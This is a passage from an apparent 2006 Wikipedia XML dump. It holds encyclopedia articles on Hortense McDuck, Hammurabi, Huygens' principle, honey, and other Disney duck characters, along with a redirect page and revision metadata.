From an early age it was obvious Hortense had a fairly nasty temper combined with considerable strength. Her brother continued to maintain correspondence with his parents and was also informed about this. In [[1882]], Scrooge was hired as a [[cowboy]] by [[Murdo MacKenzie]]. To do this he had to ride Widow Maker, a mare who had already managed to dispose of five other cowboys. Scrooge soon managed to become her rider although he never really managed to tame her. He renamed Widow Maker [[Hortense (horse)|Hortense]] after his spirited six-year-old sister. The latter found this idea unflattering at best.

In [[1885]] [[The Clan McDuck]]'s hereditary lands were in danger of being seized due to her father being unable to pay taxes for them. The lands also included Dismal Downs, the Clan's Castle which had been abandoned since [[1675]]. The Whiskervilles, traditional enemies of the McDucks since the [[15th century]] planned to gain ownership of the lands and were already trying to plunder the castle and its graveyard in search of old relics and treasure. Fergus and Jake started guarding the Castle in order to stop them. Nine-year-old Hortense offered to help them and proved more effective in conflict than either of the elder McDucks. The Whiskervilles began to fear her.

In [[1902]] Scrooge McDuck returned to Scotland to fetch Hortense and their sister Matilda McDuck. When Scrooge established [[Duckburg]], [[Calisota]], [[United States]] as his homebase he started journeying the world trying to expand his financial empire. From [[1902]] till [[1930]] his sisters ran his empire from his homebase while he was away. During these years she met her boyfriend [[Quackmore Duck]] whom she married on [[1920]]. Later the same year she gave birth to twins. Her son was named [[Donald Duck]] and her daughter [[Della Thelma Duck]]. Of the two only the boy inherited his mother's temper. A fight with Scrooge in [[1930]] ended all relationships between him and his family and she retired. She was thought deceased by [[1948]], because in this year Scrooge claimed he was the last McDuck. However, Mathilda has since turned up alive and well, and Hortense may yet do so also.

==External links==
*[http://goofy313g.free.fr/calisota_online/trees/barks.html Carl Barks' version of the family tree]
*[http://goofy313g.free.fr/calisota_online/trees/worden.html Mark Worden's version of the family tree]
*[http://duckman.pettho.com/tree/v_american.html Don Rosa's version of the family tree]


[[Category:Characters in the Scrooge McDuck universe|McDuck, Hortense]]
[[Category:Fictional ducks|McDuck, Hortense]]
[[Category:Fictional Scots|McDuck, Hortense]]



[[da:Hortensia von And]]
[[fr:Hortense Picsou]]
[[it:Ortensia de Paperoni]]
[[nl:Hortensia Duck]]
[[fi:Hortensia MacAnkka]]</text>
    </revision>
  </page>
  <page>
    <title>Hammurabi</title>
    <id>14358</id>
    <revision>
      <id>41629852</id>
      <timestamp>2006-02-28T17:20:06Z</timestamp>
      <contributor>
        <username>Kmf164</username>
        <id>94080</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Pvlasov|Pvlasov]] ([[User talk:Pvlasov|talk]]) to last version by Magnus Manske</comment>
      <text xml:space="preserve">[[Image:Hammurabi_Face.jpg|thumb|200px|right|This [[diorite]] head is believed to represent king Hammurabi]]'''Hammurabi''' ([[Akkadian]] '''Khammurabi''', from [[Amorite language|Amorite]] '''Ammurapi''', &quot;''The Kinsman is a Healer''&quot;; ''Ammu'', paternal kinsman + ''Rapi'', to heal; also transliterated '''Ammurapi''', '''Hammurapi''', or '''Khammurabi''') was the sixth king of [[Babylon]]. Achieving the conquest of [[Sumer]] and [[Akkad]], and ending the last [[Sumerian dynasty]] of [[Isin]], he was the first king of the [[Babylonia|Babylonian Empire]].

Hammurabi reigned over the [[Babylonian Empire]] from [[1792 BC]] until his death in [[1750 BC]] ([[middle chronology]]; [[1728 BC|1728]]-[[1686 BC]] [[short chronology]]; dates highly uncertain).  He was born in [[1800s BC|1810]]. It was he who first gave the city of Babylon [[hegemony]] over [[Mesopotamia]]. 

The first few decades of his reign were relatively peaceful. In the 30th year of his reign, Hammurabi crushed an invading army consisting of [[Elam]]ite and other forces in a decisive battle, and drove them out of Babylonia. The next two years were occupied in adding [[Larsa]] and Yamutbal to his dominion, and he formed Babylonia into a single monarchy centred on Babylon. A great literary revival followed the recovery of Babylonian independence, and the rule of Babylon was obeyed as far as the shores of the Mediterranean. Vast numbers of contract tablets, dated in the reigns of Hammurabi and his successors, have been discovered, as well as their autographed letters. Among them is one ordering the dispatch of 240 soldiers from [[Assyria]] and Situllum, a proof that Assyria was at the time a Babylonian dependency.

Hammurabi expanded the rule of Babylon by first conquering cities towards the south, before his conquest expanded to cover most parts of Mesopotamia. His military conquests came late in his reign, perhaps brought on by the fall of [[Shamshi-Adad]]'s empire.
[[Image:Milkau Oberer Teil der Stele mit dem Text von Hammurapis Gesetzescode 369-2.jpg|thumb|left|150px|The upper part of the stela of Hammurapis' code of laws]]
He is perhaps best known for [[Wiktionary:promulgate|promulgating]] his code of [[law]]s, known as the [[Code of Hammurabi]]. This was written on a [[stela]] and placed in a public place, so that all could see it, even though very few could read. This stela was removed as plunder to the Elamite capital [[Susa]], where it was rediscovered in [[1901]], and it now stands in the [[Louvre]] museum. While the penalties of his laws may seem cruel to modern readers, the fact that he not only put into writing the laws of his kingdom, but attempted to make them a systematic whole, is considered an important step forward in the evolution of [[civilization]]. The &quot;innocent until proven guilty&quot; idea comes from his laws.

One fairly new theory is that the modern designation of it as a law code is wrong: it is thus seen merely as a monument &quot;presenting Hammurabi as an exemplary king of justice.&quot; While dealing with many areas of life, the entries do not, by far, cover all possible crimes, and the stele may actually contain contradictions.  While the code was applied and studied extensively in later Babylonian law (as seen in the library of [[Ashurbanipal]]), there as of yet have been no contemporary records discovered that record its use as an actual functioning law code during Hammurabi's own time.
:{{seealso|Babylonian law}}

Hammurabi also did other things in order to make Babylon a better place, such as helping to improve the [[irrigation]] process.

Following Hammurabi's successors, the Babylonian Empire collapsed due to military pressure from the [[Hittites]], led by their king [[Mursilis I]]. However it was the [[Kassites]], led by their king [[Agumkakrine]], who eventually ruled Babylon.  Although there were many rebellious cities, the Kassites ruled for 400 years, and respected the [[Code of Hammurabi]].

== References ==
* Van De Mieroop, Marc. ''A History of the Ancient Near East''. Blackwell Publishing: Malden, 2005. ISBN 0-631-22552-8
*[http://encyclopedia.jrank.org/AUD_BAI/BABYLONIAN_LAW.html Babylonian Law].  Britannica, 1911.

==See also==
*[[Ur-Nammu]]

== External links ==
* {{gutenberg author| id=Hammurabi | name=Hammurabi}}

{| align=&quot;center&quot; cellpadding=&quot;2&quot; border=&quot;2&quot;
|-
| width=&quot;30%&quot; align=&quot;center&quot; | Preceded by:&lt;br&gt;'''[[Sin-muballit]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Kings of Babylon]]'''
| width=&quot;30%&quot; align=&quot;center&quot; | Succeeded with:&lt;br&gt;'''[[Samsu-Iluna]]'''
|}

[[Category:1686 BC deaths]]
[[Category:Legislators]]
[[Category:Babylonia]]

&lt;!-- interwiki --&gt;

{{Link FA|sl}}

[[ar:حمورابي]]
[[ca:Hammurabi]]
[[cs:Chammurapi]]
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[[de:Hammurapi]]
[[el:Χαμουραμπί]]
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[[ja:ハンムラビ]]
[[no:Hammurabi]]
[[pl:Hammurabi]]
[[pt:Hamurabi]]
[[ru:Хаммурапи]]
[[sh:Hammurabi]]
[[sl:Hamurabi]]
[[sr:Хамураби]]
[[fi:Hammurabi]]
[[sv:Hammurabi]]
[[zh:汉谟拉比]]</text>
    </revision>
  </page>
  <page>
    <title>Huygens' principle</title>
    <id>14359</id>
    <revision>
      <id>41845965</id>
      <timestamp>2006-03-02T02:56:06Z</timestamp>
      <contributor>
        <ip>82.42.131.35</ip>
      </contributor>
      <comment>&quot;Diffraction&quot; on image label incorrect: changed to &quot;Refraction&quot;.</comment>
      <text xml:space="preserve">[[Image:Wellen-Brechung.png|thumb|300px|Wave Refraction in the manner of Huygens.]]
'''Huygens' principle''' (named for Dutch [[physicist]] [[Christiaan Huygens]]) is a method of analysis applied to problems of [[wave]] propagation in the [[Far-field diffraction pattern|far field limit]].  It recognizes that each point of an advancing wave front is in fact the center of a fresh disturbance and the source of a new train of waves; and that the advancing wave as a whole may be regarded as the sum of all the secondary waves arising from points in the medium already traversed. This view of wave propagation helps better understand a variety of wave phenomena, such as [[diffraction]].

For example, if two [[room]]s are connected by an open [[door]]way and a [[sound]] is produced in a remote corner of one of them, a person in the other room will hear the sound as if it originated at the doorway. As far as the second room is concerned, the vibrating air in the doorway is the source of the sound. The same is true of [[light]] passing the edge of an obstacle, but this is not as easily observed because of the short [[wavelength]] of visible light.

== Diffraction ==

The most common application of Huygens' principle is for the case of a [[Plane wave]] (usually light) incident on an [[aperture]] of arbitrary shape.  In this case, Huygens' principle simply states that a large hole can be approximated with many small slits, each of which generates waves as a point source.  A point source generates waves that emerge traveling spherically outward, like the waves caused by dropping stones in a pond.  Consider the case of [[diffraction|single slit diffraction]], where we have one long slit through which we shine light onto a distant screen.  We then try to approximate this long slit with an increasing number of short ones, in order to locate the diffraction minima.  We know from the [[double-slit experiment]] that two slits [[interference|interfere destructively]] when their path lengths differ by &lt;math&gt;\lambda/2&lt;/math&gt;.  We can calculate using [[Phasor (physics)|phasors]] or a similar technique that for three slits the first and last slit must differ by &lt;math&gt;2\lambda/3&lt;/math&gt;, and so forth.  We find the pattern to be that the waves traveling from the first and last slit must differ in their path lengths by &lt;math&gt;(n-1)\lambda/n&lt;/math&gt;.  In the limit of approximating the single large slit with an infinite number of small slits, so that n goes to infinity, the path length difference between the left and right side of the slit must be exactly &lt;math&gt;\lambda&lt;/math&gt; to get complete destructive interference and so a dark spot.

=== Fourier transforms ===

The qualitative argument we used to glean some understanding of single slit [[diffraction]] using only Huygens' principle is difficult to apply in general to [[aperture]]s of truly arbitrary shape.  The wave that emerges from a point source has amplitude &lt;math&gt;\psi&lt;/math&gt; at location r that is given by the solution of the [[wave equation]] for a point source.  That's exactly what we mean by the [[Green's function]] for the wave equation, which is in [[spherical coordinates]]

:&lt;math&gt;\psi(r)\propto \frac{e^{ikr}}{r}.&lt;/math&gt;

Therefore, if we approximate the amplitude from an aperture as coming from many point sources, we should sum together an infinite number of point sources.  But that just describes a [[surface integral]].  Thus,

:&lt;math&gt;\Psi(r)\propto \int_\mathrm{aperture}\frac{e^{ikr}}{r}~da,&lt;/math&gt;

which is simply the spatial [[Fourier transform]] of the aperture.  Huygens' principle when applied to an aperture simply says that the [[far-field diffraction pattern]] is the Fourier transform of the aperture.

== See also ==
{{Commons|Huygens' principle}}
* [[Near-field diffraction pattern]]
* [[Double-slit experiment]]
* [[Knife-edge effect]]

[[Category:Wave mechanics]]

[[ca:Principi de Huygens]]
[[de:Huygenssches Prinzip]]
[[es:Principio de Huygens]]
[[fr:Principe de Huygens-Fresnel]]
[[ko:하위헌스의 원리]]
[[he:עקרון הויגנס]]
[[ja:ホイヘンスの原理]]
[[fi:Huygensin periaate]]
[[sv:Huygens princip]]
[[th:หลักการของไฮเกนส์]]
[[zh:惠更斯原理]]</text>
    </revision>
  </page>
  <page>
    <title>Hanko (stamp)</title>
    <id>14360</id>
    <revision>
      <id>27783277</id>
      <timestamp>2005-11-09T03:02:20Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <minor />
      <comment>merging [[Inkan]] with [[Seal (Chinese)]]</comment>
      <text xml:space="preserve">#redirect [[Seal (Chinese)]]</text>
    </revision>
  </page>
  <page>
    <title>Honey</title>
    <id>14361</id>
    <revision>
      <id>41911876</id>
      <timestamp>2006-03-02T15:49:10Z</timestamp>
      <contributor>
        <username>Ricardo Carneiro Pires</username>
        <id>218111</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{dablink|For other senses of the word &quot;honey&quot;, see [[honey (disambiguation)]].}}

[[Image:runny hunny.jpg|thumb|Honey]]
[[Image:Honey comb.jpg|thumb|honey comb]]
[[Image:Voll Honig.JPG|thumb|A capped frame of honeycomb]]
'''Honey''' is a sweet and viscous fluid produced by [[bee]]s and other [[insect]]s from the [[nectar (plant)|nectar]] of [[flower]]s. &quot;The definition of honey stipulates a pure product that does not allow for the addition of any other substance. This includes, but is not limited to, water or other sweeteners,&quot; according to the [[United States]] [http://www.nhb.org/ National Honey Board 2003] and other nations' food regulations.

Honey is significantly [[sweetness|sweeter]] than table sugar and has attractive chemical properties for baking. Honey has a distinctive flavor which leads some people to prefer it over [[sugar]] and other [[sweetener]]s. 

Liquid honey does not spoil. Because of its high [[sugar]] concentration, it kills [[bacterium|bacteria]] by [[plasmolysis]].  Natural airborne [[yeast]]s cannot become active in it because the moisture content is too low. Natural, raw honey varies from 14% to 18% moisture content. As long as the moisture content remains under 18%, virtually no organism can successfully multiply to significant amounts in honey.

The study of [[pollen]]s and [[spore]]s in raw honey ([[melissopalynology]]) can determine floral sources of honey. Because bees carry an electrostatic charge, and can attract other particles, the same techniques of melissopalynology can be used in area environmental studies of [[radioactive_decay|radioactive]] particles, [[dust]], or particulate [[pollution]].

A main effect of bees collecting nectar to make honey is [[pollination]], which is crucial for [[flowering plant|flowering plants]].

==Composition of honey==
Honey is a mixture of sugars, water, and other compounds. The specific composition of any batch of honey will depend largely on the mix of flowers consumed by the bees that produced the honey. Honey has a [[density]] of about 1500 [[kilogram|kg]]/[[metre|m&lt;sup&gt;3&lt;/sup&gt;]] (50% denser than [[water]]) which means 12-13 pounds per gallon.

;Typical honey analysis
*[[Fructose]]: 38%
*[[Glucose]]: 31%
*[[Sucrose]]: 1%
*[[Water]]: 17%
*[[Sugar|Other sugars]]: 9%  ([[maltose]], [[melezitose]]) 
*[[Ash_analytical_chemistry|Ash]]: 0.17%
:&lt;small&gt;Source: [http://www.sugaralliance.org/desktopdefault.aspx?page_id=97 Sugar Alliance]&lt;/small&gt;

The analysis of the sugar content of honey is used for detecting adulteration.

==Types of honey==
{{main|Monofloral honey}}
The flavor and color of the substance is largely determined by the [[nectar source]]. Common flavors of honey include [[Orange (fruit)|orange blossom]] honey, [[tupelo]] honey, [[buckwheat]] honey, [[clover]] honey, [[blackberry]], and [[blueberry]] honey. In [[Australia]], the most common honey is from the [[eucalyptus]] trees, such as redgum, [[yellow gum]] and [[stringybark]].  [[Tasmania]]n [[leatherwood]] honey is considered a [[delicacy]] for its unique flavor.

While it is rare for any honey to be produced exclusively from one floral source, honey will take on the flavor of the dominant flower in the region. Orange blossom, [[tupelo]], and [[sourwood]] are favored types in the United States. [[Greece]] is famous for [[wild thyme]] honey, as is [[France]] for [[lavender]] and [[Black locust|acacia]] honey. 

In 2005, [[New Zealand]] had 320,000 [[beehive (beekeeping)|beehives]] that produced an average annual crop of 8,600 tonnes of honey. These honeys cover a huge range of flavour types and properties. From mild to very strong flavoured, light to dark coloured, delicately perfumed to pungent and even honeys with significant antibacterial properties.

Most commercially available honey is blended. Monofloral honeys are especially valuable on the market. New Zealand is a major producer of several of these fine monofloral honeys:  [[Manuka]] Honey, [[Viper's Bugloss]] Honey, [[Nodding Thistle]] Honey, [[Kamahi]] Honey, [[Honeydew|Honeydew]] Honey, [[Tawari]] Honey, [[Rewarewa]] Honey or [[Thyme]] Honey. Another is [[Rata]] Honey, considered by many to be the best of New Zealand Honeys. It is very white in colour, has a subtle, mild yet rich and distinctive flavour - not overly sweet, almost salty.

===Honeydew===
Instead of taking nectar, bees can take [[honeydew]], which appears similar to honey and consists of the sweet secretions of [[aphid|aphids]] or other plant sap-sucking insects. Most important of these is the aphid ''[[Marchalina hellenica]]'' which feeds on the sap of the [[Turkish Pine]]. Honeydew from pine forests has a &quot;piney&quot; taste and is prized for medicinal use in [[Europe]] and [[Turkey]].  Bees collecting this resource have to be fed protein supplements, as honeydew lacks the protein-rich pollen accompaniment gathered from flowers.
In New Zealand [[honeydew]] nectar is produced from a small, scale insect (''Ultracoelostoma assimile'') living in the bark of two of New Zealand's beech forests, mostly [[black beech]] (black from the sooty mould growing on the surplus nectar covering the trunks and branches) and to a lesser extent, [[red beech]]. In the early morning sunlight, the droplets of nectar glisten like the morning dew, giving the name honeydew.

[[Germany]]'s &quot;[[Black Forest]]&quot; is a well known source of honeydew produced honeys.

Honeydew honey has full flavour aroma, is heady, almost pungent and malty with a thick red amber color.

Honeydew has strong markets in some areas, but in many areas beekeepers are disappointed with a honeydew crop as they are unable to market the stronger flavored product. Honeydew has a much larger proportion of indigestibles than light honeys, which can cause [[Diseases of the honeybee|dysentery]] resulting in the death of colonies in areas with cold winters. Good beekeeping management requires the removal of honeydew prior to winter in colder areas.

==Use of honey==
The main uses of honey are in [[cooking]], baking, spreading on [[bread]] or toast, and as an addition to various beverages such as [[tea]]. Because honey is [[hygroscopic]] (drawing moisture from the air), a small quantity of honey added to a pastry recipe will retard staling. Raw honey also contains [[enzyme]]s that help in its [[digestion]], several [[vitamins]] and [[antioxidants]].

Honey is the main ingredient in the alcoholic beverage [[mead]], which is also known as ''honey wine'', and methelgin.

Honey is used in traditional [[folk medicine]] and [[apitherapy]], and is an excellent natural [[preservative]]. 

Most [[vegan]]s consider honey to be an animal product and avoid using it, instead choosing sweetening alternatives such as [[golden syrup]]. 

Without commercial beekeeping, large-scale [[fruit]] and [[vegetable]] farming and some of the [[seed]] industry would be incapable of sustaining themselves, since many crops are [[pollination|pollinated]] by migratory beekeepers who [[contract]] their bees for that purpose.

In ancient history, the [[Egyptians]] and [[Middle-Eastern]] people also used honey for   [[embalming]] the dead. However only rich and powerful people had the luxury of this type of funeral.

==Honey in culture and folklore==
In many cultures, honey has associations that go far beyond its use as a food. In language and literature, religion and folk belief, honey is frequently a symbol or talisman for sweetness of every kind.

The [[Old Testament]] contains many references to honey as a symbol for all that is pleasant and desirable. For example, the book of [[Exodus]] famously describes the [[Promised Land]] as a 'land flowing with [[milk]] and honey' (33:3). So important is honey in Jewish tradition that some scholars believe an exception was made for it in the dietary laws: Insects and their products are normally considered unclean, but honey is [[kosher]]. The word &quot;honey&quot; appears 61 times in the [[King James Version]] of the [[Bible]].

Honey plays an important role in the festival of [[Madhu Purnima]], celebrated by [[Buddhist]]s in [[India]] and [[Bangladesh]]. The day commemorates [[Buddha]]'s making peace among his disciples by retreating into the wilderness. The story goes that while he was there, a [[monkey]] brought him honey to eat. On Madhu Purnima, Buddhists remember this act by giving honey to [[monk]]s. The monkey's gift is frequently depicted in [[Buddhist art]].

In some parts of [[Greece]], it was formerly the custom for a [[bride]] to dip her fingers in honey and make the [[sign of the cross]] before entering her new home. This was meant to ensure sweetness in her married life, especially in her relationship with her [[mother-in-law]].

In popular culture, [[bear]]s are frequently depicted as eating honey, even though most bears actually eat a wide variety of foods, and bears seen at beehives are usually more interested in bee larvae than honey. Honey is sometimes sold in a bear-shaped [[jar]]. [[Teddy bear]]s are almost invariably associated with honey, possibly because of the influence of [[Winnie-the-Pooh]].

Many people believe that honey is more wholesome or healthful than [[refined sugar]], although most nutritionists say that all sweeteners are pretty much alike. Honey-based sweets are often sold as [[health food]].

'Honey,' along with variations like 'honey bun' and 'honeypot,' has become a [[term of endearment]] in most of the English-speaking world. In some places it is used for loved ones; in others, such as the [[American South]], it is used when addressing casual acquaintances or even strangers.

==Precautions==
Honey is not always healthful. Because it is gathered from flowers in the wild, there are situations in which it may be toxic. 

There are several types of honey that are known to be toxic to humans. The most common of these in the northern hemisphere, popularly known as Mad Honey, is produced from the flowers of [[Rhododendron]]s, [[Mountain Laurel]]s and [[azalea]]s. The nectar of these plants may contain [[Grayanotoxin]], a compound which is both psychoactive and poisonous to humans but harmless to bees. The effects of Mad Honey have been reported in Western literature as early as 401 BC (See Xenophon's description of the effects of toxic honey  in the ''Anabasis'' [http://en.wikipedia.org/wiki/Anabasis_%28Xenophon%29])
The shape of the Azalea flower, however, makes access to nectar difficult for honeybees. And during the time at which Azaleas bloom, there are usually other flowers available which are more appealing to the honeybee. So lethal honey is rarely encountered. 

Toxic honey may also result when bees are in close proximity to Tutu bushes (''Coriaria arborea'') and the vine hopper insect (''Scolypopa australis''). Both are found throughout New Zealand. Bees gather honeydew produced by the vine hopper insects feeding on the tutu plant. This introduces the poison tutin into honey. Only a few areas in New Zealand (Coromandel Peninsula, Eastern Bay of Plenty and the Marlborough Sounds)frequently produce toxic honey. Symptoms of tutin poisoning include vomiting, delirium, giddiness, increased excitability, stupor, coma and violent convulsions. It is generally agreed that as little as 1 teaspoon of toxic honey may produce severe effects in humans. In order to reduce the risk of tutin poisoning, humans should not eat honey taken from feral hives in the risk areas of New Zealand. Since December 2001, New Zealand beekeepers have been required to reduce the risk of producing toxic honey by closely monitoring tutu, vine hopper, and foraging conditions within  3 km of their apiary.  

Nonetheless, honey, [[corn syrup]] and other natural [[sweetener]]s are a potential and acute threat to [[infant]]s. Harmless to adults because of a mature person's stomach acidity, [[botulinum]] [[spore]]s are widely present in the environment and are among the few bacteria that can survive in honey. Since an infant's digestive juices are non-acidic, ingestion of honey creates an ideal medium for botulinum spores to grow and produce sufficient levels of toxins to cause infant '''[[botulism]]'''. For this reason, it is advised that neither honey, nor any other sweetener, be given to children under the age of 18 months. Once a child is eating solid food, the digestive juices are acidic enough to prevent the growth of the spores.

== Honey formation ==
{{mergefrom|Honey flow}}
{{mergefrom|Honey super}}
Honey is laid down by bees as a food source. In cold weather or when food sources are scarce, bees use their stored honey as their source of energy. By contriving the bee [[swarming (honeybee)|swarm]] to make its home in a [[Beehive (beekeeping)|hive]], mankind has been able to semi-domesticate the insects. In the hive there are three types of bee: the single [[Queen (bee)|queen bee]], a seasonally variable number of [[drone (bee)|drone bees]] to fertilize new queens and some 20,000 to 40,000 [[worker bee]]s. The worker bees raise larvae and collect the nectar that will become honey in the hive. They go out, collect the sugar-rich flower nectar and return to the hive. As they leave the flower,  bees release [[nasonov]] [[pheromone]]s. These enable other bees to find their way to the site by smell. Honeybees also release nasonov pheromones at the entrance to the hive, which enables returning bees to return to the proper hive. In the hive the bees use their honey stomachs to ingest and [[regurgitate]] the nectar a number of times until it is partially digested. It is then stored in the [[honeycomb]]. Nectar is high in both water content and natural yeasts which, unchecked, would cause the sugars in the nectar to ferment. After the final regurgitation, the honeycomb is left unsealed - bees inside the hive &quot;fan&quot; their wings creating a strong draught across the honeycomb. This enhances [[evaporation]] of much of the [[water]] from the nectar. The reduction in water content, which raises the sugar concentration, prevents [[fermentation]]. Ripe honey, as removed from the hive by the [[beekeeper]], has a long shelf life and will not ferment. 

The beekeeper encourages overproduction of honey within the hive so that the excess can be taken without endangering the bees. When sources of foods for the bees are short the beekeeper may have to feed the bees other forms of sugar so they can survive.

==Medical uses for honey==
For around 2000 years, Honey has been used to treat a variety of ailments through topical application, though it was not until modern times that the cause of infection was understood. Now, modern research into the use of honey as an antimicrobial agent has revealed potential treating a variety of ailments. Antibacterial properties of honey are the result of the [[Osmotic_effect|Osmotic effect]], [[Hydrogen_Peroxide|Hydrogen Peroxide]] effect[http://www.worldwidewounds.com/2001/november/Molan/honey-as-topical-agent.html], and high acidity[http://bio.waikato.ac.nz/honey/honey_intro.shtml]. 

====Osmotic effect====
Honey is primarily a saturated sugar mixture of approximately 84% fructose and glucose. At this high concentration, very few extra water molecules remain available to microorganisms and so presents a very undesirable environment for their growth. 

==== Hydrogen peroxide====
Hydrogen peroxide in honey is activated by dilution. However, unlike medical hydrogen peroxide, commonly 3% by volume, it is present in a concentration of only 1 mmol/l in honey. Iron in honey oxidize the oxygen [[Free_radicals|free radicals]] released by the hydrogen peroxide. 

:glucose + H&lt;sub&gt;2&lt;/sub&gt;O+ O&lt;sub&gt;2&lt;/sub&gt; → gluconic acid + H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;

When used topically as, for example a wound dressing, hydrogen peroxide is produced by dilution with body fluids. As a result, hydrogen peroxide is released slowly and acts as an antiseptic. Unlike 3% medical hydrogen peroxide, this slow release does not cause damage to surrounding tissue.

====Acidity====
The pH of honey is commonly between 3.2 and 4.5 [http://bio.waikato.ac.nz/honey/honey_intro.shtml]. This relatively acidic pH level prevents the growth of many bacteria responsible for infection.

====Medical applications====
The most common use of honey as a microbial agent is as a dressing for wounds, burns and skin ulcers. This application has a long history in traditional medicine. Additionally, the use of honey reduces odors, reduces swelling, and reduces scarring; it also prevents the dressing from sticking to the healing wound. [http://bio.waikato.ac.nz/honey/honey_intro.shtml]

Honey that is local to where one lives can also help with seasonal pollen allergies because it contains the same pollen that is producing the allergy--consumed in this way it can act as an immune booster.{{fact}} It's most effective to eat about a teaspoonful a day for a few months leading up to allergy season.

Research has shown that the folk remedy of using honey to treat wounds is founded in science; it acts as an antiseptic/antibacterial agent.

==Honey as a product==

===Honey processing===
*'''[[Comb honey]]''' A popular honey product. The honey is sold still in the wax comb. Comb honey was once packaged by installing [[basswood|wooden]] framework in special supers, but this labor intensive method is dying, and being replaced by plastic rings or cartridges. After removal from the hive, a clear cover is usually fitted onto the cartridge so customers can see the product.
*'''Raw honey''' Honey as it exists in the beehive or as obtained by extraction, settling or straining without adding heat.  Raw honey contains some pollen and may contain small particles of wax.  Local raw honey is sought after by [[allergy]] sufferers as the pollen impurities lessen the sensitivity to [[hay fever]].
*'''Chunk honey''' Honey packed in widemouth containers consisting of one or more pieces of comb honey surrounded by extracted liquid honey. This type is preferred in the US South.
*'''Strained Honey''' or '''filtered honey''' Honey which has been passed through a mesh material to remove particulate material (pieces of wax, [[propolis]], other defects) without removing pollen. Preferred by the health food trade - it has a cloudy appearance due to the included pollen, but it also tends to crystallize more quickly than ultrafiltered honey.
*'''Ultrafiltered honey''' Honey processed by very fine filtration under high pressure to remove all extraneous solids and pollen grains. Ultrafiltered honey is very clear and has a longer shelf life, because it crystallizes more slowly. Preferred by the supermarket trade.

===Other descriptions===
*'''Blended honey''' A homogeneous mixture of two or more honeys differing in floral source, color, flavor, density or geographic origin.
*'''Churned honey''' or '''cremed honey''' See [[whipped honey]].
*'''Crystallized honey''' Honey in which some of the glucose content has spontaneously crystallized from solution as the monohydrate. Also called &quot;granulated honey.&quot;
*'''Honey fondant''' See [[whipped honey]].
*'''Spun honey''' See [[whipped honey]].

In addition, '''organic honey''' is honey produced, processed, and packaged in accordance with national regulations, and certified as such by some government body or an independent organic farming certification organization.

== See also ==
{{cookbook}}
{{Commons|Honey}}
{{HoneybeeArticles}}

* [[Bangladesh honey]]
* [[Finland honey]]
* [[Glucose]]
* [[Honey flow]]
* [[List of cocktails]]
* [[List of recipes]]
* [[List of honey plants]]
* [[Nectar]]
* [[Pitcairn Island honey]]
* [[Philippines honey]]
* [[Royal jelly]]
* [[apiary|US honey production]]

[[Category:Honey| ]]

{{Link FA|ja}}
{{Link FA|he}}

[[ar:عسل النحل]]
[[bg:Пчелен мед]]
[[be:Мёд]]
[[ca:Mel]]
[[cs:Med]]
[[cy:Mêl]]
[[da:Honning]]
[[de:Honig]]
[[es:Miel]]
[[eo:Mielo]]
[[fr:Miel]]
[[gl:Mel]]
[[id:Madu]]
[[is:Hunang]]
[[it:Miele]]
[[he:דבש]]
[[hu:Méz]]
[[jv:Madu]]
[[lt:Medus]]
[[nl:Honing]]
[[ja:蜂蜜]]
[[no:Honning]]
[[nn:Honning]]
[[oc:Mèl]]
[[pl:Miód]]
[[pt:Mel]]
[[ru:Мёд]]
[[simple:Honey]]
[[sl:Med]]
[[sr:Мед]]
[[fi:Hunaja]]
[[sv:Honung]]
[[ta:தேன்]]
[[tr:Bal]]
[[zh:蜂蜜]]</text>
    </revision>
  </page>
  <page>
    <title>Hugh McDuck</title>
    <id>14362</id>
    <revision>
      <id>37486113</id>
      <timestamp>2006-01-31T07:27:49Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>sequence template</comment>
      <text xml:space="preserve">'''Captain Hugh &quot;Seafoam&quot; McDuck''' is one of [[Walt Disney]]'s  [[comic book]] characters. He is one of [[Malcolm McDuck]]'s descendants.  He was born in [[Scotland]] in [[1710]].  He settled in [[Glasgow]] in [[1727]] and turned to the sea for a living.  He grew successful and obtained his own ship, named &quot;The Golden Goose&quot;.  He grew wealthy transporting merchandise between [[Britain]] and the [[West Indies]].

In [[1753]] his luck was over.  He signed a contract with [[Swindle McSue]] to deliver a chest full of horse radish to [[Jamaica]].  Three weeks later his ship sunk along with the chest before reaching Jamaica.  It was sabotaged by Swindle.  When Hugh returned to Scotland he found out that his contract had some small print letters that his failing sight didn't allow him to see.  The term in small letters said that if Hugh failed to deliver the chest to Jamaica all of his belongings would go to Swindle.  Hugh kept just his clothes, his silver watch in his pocket and his golden dentures in his mouth.  Swindle wanted them too but Hugh escaped.

The only thing known about his later life is that he died in [[1779]], aged 69.  It is presumed he was involved in the [[American Revolutionary War|Anglo-American War]].  His descendants include the brothers [[Quagmire McDuck]] who inherited the silver watch, known by then as &quot;the heirloom watch&quot;, and [[Dingus McDuck]].

According to [[Don Rosa]], Seafoam McDuck and Hugh McDuck are the same character; &quot;Seafoam&quot; is just a nickname.

{{sequence|
 prev=[[Malcolm McDuck]]|
 list=Important members of [[the Clan McDuck]]|
 next=[[Dingus McDuck]]
}}

[[Category:Characters in the Scrooge McDuck universe|McDuck, Hugh]]
[[Category:Fictional ducks|McDuck, Hugh]]
[[Category:Fictional Scots|McDuck, Hugh]]


[[it:Hugh de Paperoni]]</text>
    </revision>
  </page>
  <page>
    <title>Humperdink Duck</title>
    <id>14363</id>
    <revision>
      <id>37223577</id>
      <timestamp>2006-01-29T16:07:11Z</timestamp>
      <contributor>
        <ip>81.228.222.49</ip>
      </contributor>
      <text xml:space="preserve">'''Humperdink Duck''' is a [[fictional character]], presented in [[Walt Disney]]'s [[comic book]]s.  He is one of [[Pintail Duck (Disney character)|Pintail Duck]]'s descendants.  He was born in the [[United States]].  At some time he moved to [[Duckburg]], [[Calisota]].  He later married [[Elvira Coot]] and started working on her father's farm that later became their own.  He became the father of three children:
*[[Quackmore Duck]], born on [[1875]].
*[[Daphne Duck]].
*[[Eider Duck]].

He continued working on his farm at least till the [[1930s]] when he died.


[[Category:Characters in the Scrooge McDuck universe|Duck, Humperdink]]
[[Category:Fictional ducks|Duck, Humperdink]]

[[it:Dabney Duck]]
[[fi:Hepsu Ankka]]
[[sv:Farfar Anka]]</text>
    </revision>
  </page>
  <page>
